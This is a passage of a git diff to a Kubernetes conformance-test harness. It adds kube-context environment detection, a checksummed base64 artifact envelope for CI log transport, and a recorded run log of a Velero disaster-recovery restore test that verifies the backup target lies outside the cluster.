 
 
+def context_env() -> str:
+    """The env a run TARGETED, derived from the live kube context — never guessed.
+
+    WHY THIS IS NOT A DEFAULT STRING. `--env` used to fall back to the literal "dev"
+    (`os.environ.get("CONF_ENV", "dev")`), and CONF_ENV is set nowhere in this repo, so EVERY
+    recorded proof was stamped `env: dev` regardless of the cluster it ran against. That was
+    harmless while dev was the only cluster. Dev was decommissioned 2026-09-12 and prod is now
+    the only one, so on 2026-09-13 a genuine prod DR-restore proof was recorded as `env: dev` —
+    a proof that lies about where it was proven is worse than no proof, because the ledger's
+    whole purpose is to say what was demonstrated WHERE. Caught before it was committed.
+
+    Derived from `kubectl config current-context` (`k3s-prod` -> `prod`), which cannot drift
+    from the cluster the run actually talked to. Undeterminable is "unknown", NEVER a cluster
+    name: an unreadable context must not silently attribute a proof to an environment.
+    """
+    try:
+        p = subprocess.run(["kubectl", "config", "current-context"],
+                           capture_output=True, text=True, timeout=15)
+    except (OSError, subprocess.TimeoutExpired):
+        return "unknown"
+    if p.returncode != 0:
+        return "unknown"
+    ctx = (p.stdout or "").strip()
+    if not ctx:
+        return "unknown"
+    # contexts in this repo are named k3s-<env>; anything else is recorded verbatim so an
+    # unexpected context is visible in the ledger rather than being coerced into a known name.
+    return ctx[len("k3s-"):] if ctx.startswith("k3s-") else ctx
+
+
 def server_kube_version() -> str:
     """Server gitVersion via `kubectl version` (read-only), else "unknown"."""
     for args in (["kubectl", "version", "-o", "json"],
@@ -883,7 +913,9 @@ def main() -> int:
                     help=f"append-only ledger (default {DEFAULT_LEDGER})")
     ap.add_argument("--tests", type=Path, default=CONF_ROOT / "tests")
     ap.add_argument("--repo", type=Path, default=REPO_ROOT)
-    ap.add_argument("--env", default=os.environ.get("CONF_ENV", "dev"))
+    ap.add_argument("--env", default=os.environ.get("CONF_ENV") or context_env(),
+                    help="env the run targeted; derived from the kube context when "
+                         "unset (never defaulted to a cluster name)")
     ap.add_argument("--chainsaw-version", default=None,
                     help="override the versions.env pin (recorded verbatim)")
     ap.add_argument("--kube-version", default=os.environ.get("CONF_KUBE_VERSION"),

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -201,13 +217,107 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   # CONF_LEDGER exists so the harness's own tests can exercise this path without writing
   # to the real ledger; operators should never set it.
   "${PYTHON}" "${CONF_ROOT}/lib/record_run.py" \
-    --run-dir "${RUN_DIR}" --env "${CONF_ENV:-dev}" \
+    --run-dir "${RUN_DIR}" ${CONF_ENV:+--env "$CONF_ENV"} \
     --ledger "${CONF_LEDGER:-${CONF_ROOT}/runs/ledger.jsonl}" || true
   log "RECORD: run rc=${RUN_RC}. Commit conformance/runs/${RUN_ID}/ WITH its run.log and"
   log "RECORD: conformance/runs/ledger.jsonl — an uncommitted ledger proves nothing."
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
@@ -239,7 +349,7 @@ gen_status() {
     --registry "${CONF_ROOT}/requirements/registry.yaml" \
     --tests "${CONF_ROOT}/tests" \
     --out "${STATUS_OUT}" \
-    --env "${CONF_ENV:-dev}" \
+    ${CONF_ENV:+--env "$CONF_ENV"} \
     "$@"
 }
 

conformance/runs/20260914T021505Z-24b8111/report.junit.xml

@@ -0,0 +1,4 @@
+<testsuites name="chainsaw-report" tests="1" failures="0" errors="0" time="0.000000"><testsuite name="/work/conformance/tests/l3-fault-injection/dr-restore" tests="1" failures="0" errors="0" id="0" time="">
+    <testcase name="dr-restore" classname="" time="150.698290" />
+  </testsuite>
+</testsuites>

conformance/runs/20260914T021505Z-24b8111/run.log

@@ -0,0 +1,672 @@
+[run.sh] Coverage report first (always)
+[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
+[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
+[run.sh] No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-03').
+[run.sh] LIGHT pass: no tests selected.
+[run.sh] HEAVY pass: 1 test(s) SERIAL (parallel=1) — dr-restore
+Version: 0.2.12
+Loading config (/work/conformance/config/chainsaw-config.yaml)...
+- Using test file: chainsaw-test
+- TestDirs [/work/conformance/tests/l3-fault-injection/dr-restore]
+- SkipDelete false
+- FailFast false
+- ReportFormat 'JUNIT-TEST'
+- ReportName 'chainsaw-report-heavy'
+- ReportPath '/work/conformance/_artifacts'
+- Namespace ''
+- FullName false
+- IncludeTestRegex ''
+- ExcludeTestRegex ''
+- ApplyTimeout 1m30s
+- AssertTimeout 3m0s
+- CleanupTimeout 2m0s
+- DeleteTimeout 2m0s
+- ErrorTimeout 1m0s
+- ExecTimeout 3m0s
+- DeletionPropagationPolicy Background
+- Parallel 1
+- Template true
+- NoCluster false
+- PauseOnFailure false
+Loading tests...
+- dr-restore (/work/conformance/tests/l3-fault-injection/dr-restore)
+Loading values...
+Running tests...
+=== RUN   chainsaw
+=== PAUSE chainsaw
+=== CONT  chainsaw
+=== RUN   chainsaw/dr-restore
+=== PAUSE chainsaw/dr-restore
+=== CONT  chainsaw/dr-restore
+    l.go:52: | 02:15:05 | dr-restore | @chainsaw                                 | CREATE    | OK    | v1/Namespace @ chainsaw-glorious-sheep
+    l.go:52: | 02:15:05 | dr-restore | assert-backup-target-is-off-cluster       | TRY       | BEGIN |
+    l.go:52: | 02:15:05 | dr-restore | assert-backup-target-is-off-cluster       | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -eu
+        
+        # ---- helpers -------------------------------------------------------
+        # Classify a kubectl failure: an RBAC denial is a HARNESS DEFECT and must
+        # fail loudly; an absent API is a genuine precondition gap and may skip.
+        die_or_skip() {
+          case "$2" in
+            *orbidden*|*Unauthorized*|*cannot\ list*|*cannot\ get*)
+              echo "FAIL: conformance runner lacks RBAC for $1 -- fix conformance/incluster/rbac.yaml" >&2
+              echo "$2" >&2
+              exit 1 ;;
+            *)
+              echo "SKIP: $1 not available on this cluster -- $2"
+              echo DR_RESTORE_SKIPPED_OK
+              exit 0 ;;
+          esac
+        }
+        
+        ip2int() {
+          _q="$(echo "$1" | tr '.' ' ')"
+          set -- $_q
+          [ $# -eq 4 ] || { echo -1; return 0; }
+          echo $(( ($1 * 16777216) + ($2 * 65536) + ($3 * 256) + $4 ))
+        }
+        
+        # in_cidr <ip> <a.b.c.d/len> -> 0 when the ip is inside the prefix
+        in_cidr() {
+          case "$2" in *"/"*) ;; *) return 1 ;; esac
+          _net="${2%/*}"; _len="${2#*/}"
+          case "$_len" in ''|*[!0-9]*) return 1 ;; esac
+          [ "$_len" -ge 0 ] && [ "$_len" -le 32 ] || return 1
+          _i="$(ip2int "$1")"; _n="$(ip2int "$_net")"
+          [ "$_i" -ge 0 ] && [ "$_n" -ge 0 ] || return 1
+          [ "$_len" -eq 0 ] && return 0
+          _d=1; _s=0
+          while [ "$_s" -lt $((32 - _len)) ]; do _d=$((_d * 2)); _s=$((_s + 1)); done
+          [ $(( _i / _d )) -eq $(( _n / _d )) ]
+        }
+        
+        # ---- Gate 1: the replicated storage tier the DR-critical data lives on --
+        if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
+          echo "SKIP: 'longhorn' StorageClass absent -- no DR-critical data tier on this cluster yet"
+          echo DR_RESTORE_SKIPPED_OK
+          exit 0
+        fi
+        
+        # ---- Gate 2: the Velero API + a configured BackupStorageLocation --------
+        BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
+          -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.provider}{" "}{.spec.default}{" "}{.spec.config.s3Url}{" "}{.spec.objectStorage.bucket}{"\n"}{end}' \
+          2>&1)" || die_or_skip "velero.io/backupstoragelocations" "$BSL_LINES"
+        if [ -z "$(echo "$BSL_LINES" | tr -d '[:space:]')" ]; then
+          echo "SKIP: Velero API present but NO BackupStorageLocation is configured -- no off-cluster backup target yet"
+          echo DR_RESTORE_SKIPPED_OK
+          exit 0
+        fi
+        echo "backup storage locations:"
+        echo "$BSL_LINES"
+        
+        VNS="$(echo "$BSL_LINES" | head -1 | cut -d' ' -f1)"
+        
+        # ---- Gate 3: Velero server + node-agent (kopia FSB) actually ready -------
+        # File System Backup is the volume-DATA path (platform/velero/helmrelease.yaml:
+        # deployNodeAgent=true, uploaderType=kopia, snapshotsEnabled=false). Without a
+        # ready node-agent no volume data can be captured, so the drill is not runnable.
+        VREADY=0; NAREADY=0
+        for i in $(seq 1 12); do
+          VREADY="$(kubectl -n "$VNS" get deploy velero -o jsonpath='{.status.readyReplicas}' 2>/dev/null || true)"
+          NAREADY="$(kubectl -n "$VNS" get daemonset node-agent -o jsonpath='{.status.numberReady}' 2>/dev/null || true)"
+          echo "poll $i: velero readyReplicas=${VREADY:-0} node-agent numberReady=${NAREADY:-0}"
+          if [ "${VREADY:-0}" -ge 1 ] && [ "${NAREADY:-0}" -ge 1 ]; then break; fi
+          sleep 10
+        done
+        if [ "${VREADY:-0}" -lt 1 ] || [ "${NAREADY:-0}" -lt 1 ]; then
+          echo "SKIP: Velero server and/or its node-agent DaemonSet are not ready in ns '$VNS' -- backup/restore path not available"
+          echo DR_RESTORE_SKIPPED_OK
+          exit 0
+        fi
+        
+        # ---- Pick the BSL this drill will use: prefer the default, and it MUST be
+        #      Available. A CONFIGURED-BUT-UNAVAILABLE target is NOT a precondition
+        #      gap -- it is a live R-STATE-03 defect, so it FAILS (after a bounded
+        #      wait for first-validation on a cold start), it does not skip. --------
+        BSL_NS=""; BSL_NAME=""; BSL_URL=""; BSL_BUCKET=""
+        for i in $(seq 1 12); do
+          BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
+            -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.provider}{" "}{.spec.default}{" "}{.spec.config.s3Url}{" "}{.spec.objectStorage.bucket}{"\n"}{end}' 2>/dev/null || true)"
+          CAND="$(echo "$BSL_LINES" | grep ' Available ' | grep ' true ' | head -1 || true)"
+          [ -n "$CAND" ] || CAND="$(echo "$BSL_LINES" | grep ' Available ' | head -1 || true)"
+          if [ -n "$CAND" ]; then
+            BSL_NS="$(echo "$CAND" | cut -d' ' -f1)"
+            BSL_NAME="$(echo "$CAND" | cut -d' ' -f2)"
+            BSL_URL="$(echo "$CAND" | cut -d' ' -f6)"
+            BSL_BUCKET="$(echo "$CAND" | cut -d' ' -f7)"
+            break
+          fi
+          echo "poll $i: no Available BackupStorageLocation yet"
+          sleep 10
+        done
+        if [ -z "$BSL_NAME" ]; then
+          echo "FAIL: a BackupStorageLocation is configured but NONE reached phase 'Available'." >&2
+          echo "      The off-cluster backup target is unreachable -- R-STATE-03 is BROKEN, not merely untested." >&2
+          echo "$BSL_LINES" >&2
+          exit 1
+        fi
+        echo "using BSL ${BSL_NS}/${BSL_NAME}  bucket=${BSL_BUCKET}  endpoint=${BSL_URL}"
+        
+        # ---- OFF-CLUSTER PROOF (1): an endpoint we can evaluate ------------------
+        if [ -z "$BSL_URL" ]; then
+          echo "FAIL: BackupStorageLocation ${BSL_NS}/${BSL_NAME} exposes no spec.config.s3Url;" >&2
+          echo "      the OFF-CLUSTER property of the backup target cannot be established, so this" >&2
+          echo "      test refuses to claim it. (Extend this check for a non-S3 provider.)" >&2
+          exit 1
+        fi
+        HOST="${BSL_URL#*://}"      # strip scheme
+        HOST="${HOST%%/*}"          # strip path
+        HOST="${HOST%%:*}"          # strip port
+        echo "backup endpoint host: $HOST"
+        
+        case "$HOST" in
+          localhost|*.svc|*.svc.cluster.local|*.cluster.local)
+            echo "FAIL: backup endpoint '$HOST' is a CLUSTER-INTERNAL name -- the backup target is IN the cluster." >&2
+            echo "      An in-cluster backup store cannot satisfy R-STATE-03 (off-cluster backup)." >&2
+            exit 1 ;;
+        esac
+        
+        # Resolve to an IPv4 address. If it cannot be resolved we CANNOT establish the
+        # off-cluster property -- that is a failure, never a silent pass.
+        case "$HOST" in
+          *[!0-9.]*)
+            # Endpoint given as a name. Try the resolvers that may exist in the
+            # runner image, in order; if none is available or none resolves, the
+            # test FAILS below rather than guessing.
+            EPIP="$(getent ahostsv4 "$HOST" 2>/dev/null | head -1 | cut -d' ' -f1 || true)"
+            [ -n "$EPIP" ] || EPIP="$(getent hosts "$HOST" 2>/dev/null | head -1 | cut -d' ' -f1 || true)"
+            [ -n "$EPIP" ] || EPIP="$(nslookup "$HOST" 2>/dev/null | grep -A2 '^Name:' | grep '^Address' | head -1 | sed 's/.*: *//' || true)" ;;
+          *) EPIP="$HOST" ;;
+        esac
+        if [ -z "$EPIP" ]; then
+          echo "FAIL: could not resolve backup endpoint host '$HOST' to an IPv4 address;" >&2
+          echo "      the OFF-CLUSTER property cannot be asserted, so this test does not pass." >&2
+          exit 1
+        fi
+        echo "backup endpoint resolves to: $EPIP"
+        
+        # ---- OFF-CLUSTER PROOF (2): the endpoint is outside every cluster address --
+        case "$EPIP" in 127.*|0.0.0.0) echo "FAIL: backup endpoint $EPIP is loopback -- not off-cluster" >&2; exit 1 ;; esac
+        
+        NODE_IPS="$(kubectl get nodes -o jsonpath='{range .items[*]}{range .status.addresses[*]}{.address}{"\n"}{end}{end}' 2>/dev/null || true)"
+        for a in $NODE_IPS; do
+          if [ "$a" = "$EPIP" ]; then
+            echo "FAIL: backup endpoint $EPIP is a NODE address of this cluster -- the backup is not off-cluster." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is not any node address (checked $(echo "$NODE_IPS" | grep -c . || true) node addresses)"
+        
+        SVC_IPS="$(kubectl get svc -A -o jsonpath='{range .items[*]}{.spec.clusterIP}{"\n"}{end}' 2>/dev/null || true)"
+        for a in $SVC_IPS; do
+          if [ "$a" = "$EPIP" ]; then
+            echo "FAIL: backup endpoint $EPIP is a Service ClusterIP -- the backup target lives INSIDE the cluster." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is not any Service ClusterIP (checked $(echo "$SVC_IPS" | grep -c . || true))"
+        
+        POD_IPS="$(kubectl get pods -A -o jsonpath='{range .items[*]}{.status.podIP}{"\n"}{end}' 2>/dev/null || true)"
+        for a in $POD_IPS; do
+          if [ "$a" = "$EPIP" ]; then
+            echo "FAIL: backup endpoint $EPIP is a POD IP -- the backup target is an in-cluster pod." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is not any Pod IP (checked $(echo "$POD_IPS" | grep -c . || true))"
+        
+        POD_CIDRS="$(kubectl get nodes -o jsonpath='{range .items[*]}{.spec.podCIDR}{"\n"}{range .spec.podCIDRs[*]}{@}{"\n"}{end}{end}' 2>/dev/null || true)"
+        for c in $POD_CIDRS; do
+          case "$c" in *:*) continue ;; esac      # IPv6 prefixes are out of scope here
+          if in_cidr "$EPIP" "$c"; then
+            echo "FAIL: backup endpoint $EPIP falls inside node podCIDR $c -- it is in the cluster pod network." >&2
+            exit 1
+          fi
+        done
+        echo "endpoint is outside every node podCIDR (checked: $(echo "$POD_CIDRS" | tr '\n' ' '))"
+        
+        # Best-effort (needs networking.k8s.io/ServiceCIDR, which the least-privilege
+        # runner may not read): the checks above are the authoritative ones.
+        SVC_CIDRS="$(kubectl get servicecidrs.networking.k8s.io -o jsonpath='{range .items[*]}{range .spec.cidrs[*]}{@}{"\n"}{end}{end}' 2>/dev/null || true)"
+        if [ -n "$SVC_CIDRS" ]; then
+          for c in $SVC_CIDRS; do
+            case "$c" in *:*) continue ;; esac
+            if in_cidr "$EPIP" "$c"; then
+              echo "FAIL: backup endpoint $EPIP falls inside the Service CIDR $c -- it is in the cluster." >&2
+              exit 1
+            fi
+          done
+          echo "endpoint is outside every ServiceCIDR ($(echo "$SVC_CIDRS" | tr '\n' ' '))"
+        else
+          echo "(ServiceCIDR objects unreadable -- skipping that best-effort check; ClusterIP/PodIP/podCIDR checks stand)"
+        fi
+        
+        echo "OFF_CLUSTER_TARGET_OK  bsl=${BSL_NS}/${BSL_NAME} endpoint=${EPIP} bucket=${BSL_BUCKET}"
+    l.go:52: | 02:15:08 | dr-restore | assert-backup-target-is-off-cluster       | SCRIPT    | LOG   |
+        === STDOUT
+        backup storage locations:
+        velero default Available aws true https://7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com k3s-prod-backup
+        poll 1: velero readyReplicas=1 node-agent numberReady=3
+        using BSL velero/default  bucket=k3s-prod-backup  endpoint=https://7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com
+        backup endpoint host: 7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com
+        backup endpoint resolves to: 172.64.66.1
+        endpoint is not any node address (checked 6 node addresses)
+        endpoint is not any Service ClusterIP (checked 82)
+        endpoint is not any Pod IP (checked 197)
+        endpoint is outside every node podCIDR (checked: 10.42.0.0/24 10.42.0.0/24 10.42.1.0/24 10.42.1.0/24 10.42.2.0/24 10.42.2.0/24 )
+        endpoint is outside every ServiceCIDR (10.43.0.0/16 )
+        OFF_CLUSTER_TARGET_OK  bsl=velero/default endpoint=172.64.66.1 bucket=k3s-prod-backup
+    l.go:52: | 02:15:08 | dr-restore | assert-backup-target-is-off-cluster       | SCRIPT    | DONE  |
+    l.go:52: | 02:15:08 | dr-restore | assert-backup-target-is-off-cluster       | TRY       | END   |
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | TRY       | BEGIN |
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -eu
+        SCHED="$(kubectl get schedules.velero.io -A \
+          -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" phase="}{.status.phase}{" cron="}{.spec.schedule}{" lastBackup="}{.status.lastBackup}{"\n"}{end}' 2>/dev/null || true)"
+        if [ -z "$(echo "$SCHED" | tr -d '[:space:]')" ]; then
+          # Distinguish "Velero absent" (skip, in lock-step with step 1) from
+          # "Velero present but nothing scheduled" (a real R-STATE-03 defect).
+          if kubectl get backupstoragelocations.velero.io -A >/dev/null 2>&1; then
+            if [ -z "$(kubectl get backupstoragelocations.velero.io -A -o name 2>/dev/null || true)" ]; then
+              echo "SKIP: no BackupStorageLocation configured -- scheduling not applicable yet"
+              echo DR_SCHEDULE_SKIPPED_OK
+              exit 0
+            fi
+            echo "FAIL: Velero is configured with a backup target but declares NO Schedule --" >&2
+            echo "      R-STATE-03 requires SCHEDULED off-cluster backups, not manual ones." >&2
+            exit 1
+          fi
+          echo "SKIP: Velero API absent -- backup scheduling not applicable on this cluster yet"
+          echo DR_SCHEDULE_SKIPPED_OK
+          exit 0
+        fi
+        echo "velero schedules:"
+        echo "$SCHED"
+        # A Schedule that exists but is paused/disabled backs nothing up.
+        if echo "$SCHED" | grep -q 'phase=Enabled'; then
+          echo BACKUPS_ARE_SCHEDULED_OK
+        else
+          echo "FAIL: no Velero Schedule is in phase 'Enabled' -- scheduled off-cluster backups are not running." >&2
+          exit 1
+        fi
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | SCRIPT    | LOG   |
+        === STDOUT
+        velero schedules:
+        velero/velero-daily phase=Enabled cron=0 3 * * * lastBackup=2026-09-13T04:01:06Z
+        velero/velero-daily-resources-only phase=Enabled cron=0 3 * * * lastBackup=2026-09-13T03:00:03Z
+        BACKUPS_ARE_SCHEDULED_OK
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | SCRIPT    | DONE  |
+    l.go:52: | 02:15:08 | dr-restore | assert-backups-are-scheduled              | TRY       | END   |
+    l.go:52: | 02:15:08 | dr-restore | data-restores-from-the-off-cluster-backup | TRY       | BEGIN |
+    l.go:52: | 02:15:08 | dr-restore | data-restores-from-the-off-cluster-backup | CMD       | RUN   |
+        === COMMAND
+        /usr/bin/sh -c set -eu
+        NS="$NAMESPACE"
+        SRC="${NS}-dr-src"          # scratch source namespace (destroyed by design)
+        DST="${NS}-dr-dst"          # clean restore target (must not pre-exist)
+        BK="${NS}-dr-backup"
+        RS="${NS}-dr-restore"
+        OWNER_LABEL="conformance.home.k3s/created-by=${NS}"
+        
+        # ---- Re-derive the preconditions (steps do not share shell state). Every
+        #      skip below mirrors step 1 exactly, so the whole test skips or runs
+        #      as a unit -- it can never half-run. -----------------------------
+        if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
+          echo "SKIP: 'longhorn' StorageClass absent"; echo DR_RESTORE_SKIPPED_OK; exit 0
+        fi
+        BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
+          -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.default}{"\n"}{end}' 2>/dev/null || true)"
+        CAND="$(echo "$BSL_LINES" | grep ' Available ' | grep ' true$' | head -1 || true)"
+        [ -n "$CAND" ] || CAND="$(echo "$BSL_LINES" | grep ' Available ' | head -1 || true)"
+        if [ -z "$CAND" ]; then
+          echo "SKIP: no Available BackupStorageLocation (see the off-cluster step for the authoritative verdict)"
+          echo DR_RESTORE_SKIPPED_OK; exit 0
+        fi
+        VNS="$(echo "$CAND" | cut -d' ' -f1)"
+        BSL_NAME="$(echo "$CAND" | cut -d' ' -f2)"
+        if [ "$(kubectl -n "$VNS" get daemonset node-agent -o jsonpath='{.status.numberReady}' 2>/dev/null || echo 0)" -lt 1 ]; then
+          echo "SKIP: Velero node-agent (kopia FSB) not ready -- volume data cannot be backed up"
+          echo DR_RESTORE_SKIPPED_OK; exit 0
+        fi
+        echo "velero ns=$VNS bsl=$BSL_NAME src=$SRC dst=$DST"
+        
+        # A clean restore target means PREVIOUSLY NONEXISTENT, and the source name must
+        # be free. If either is lying around from an aborted run, remove it before we
+        # claim "clean" -- and fail loudly if it will not go, because a half-deleted
+        # namespace would silently invalidate the destroy proof below.
+        kubectl delete namespace "$DST" "$SRC" --ignore-not-found --wait=true --timeout=300s
+        
+        # ============================ GIVEN ==============================
+        # A DR-critical stateful workload with known data on the replicated tier.
+        CANARY="dr-canary-$(date +%s%N)"
+        kubectl create namespace "$SRC"
+        kubectl label namespace "$SRC" "$OWNER_LABEL" --overwrite
+        
+        kubectl -n "$SRC" apply -f - <<EOF
+        apiVersion: v1
+        kind: PersistentVolumeClaim
+        metadata:
+          name: dr-data
+          labels:
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          accessModes: [ReadWriteOnce]
+          storageClassName: longhorn
+          resources:
+            requests:
+              storage: 1Gi
+        EOF
+        
+        kubectl -n "$SRC" apply -f - <<EOF
+        apiVersion: v1
+        kind: Pod
+        metadata:
+          name: dr-workload
+          labels:
+            app: dr-workload
+            conformance.home.k3s/created-by: ${NS}
+        spec:
+          restartPolicy: Never
+          containers:
+            - name: app
+              image: busybox:1.36.1
+              command: ["sh", "-c", "sleep 7200"]
+              volumeMounts:
+                - name: data
+                  mountPath: /data
+          volumes:
+            - name: data
+              persistentVolumeClaim:
+                claimName: dr-data
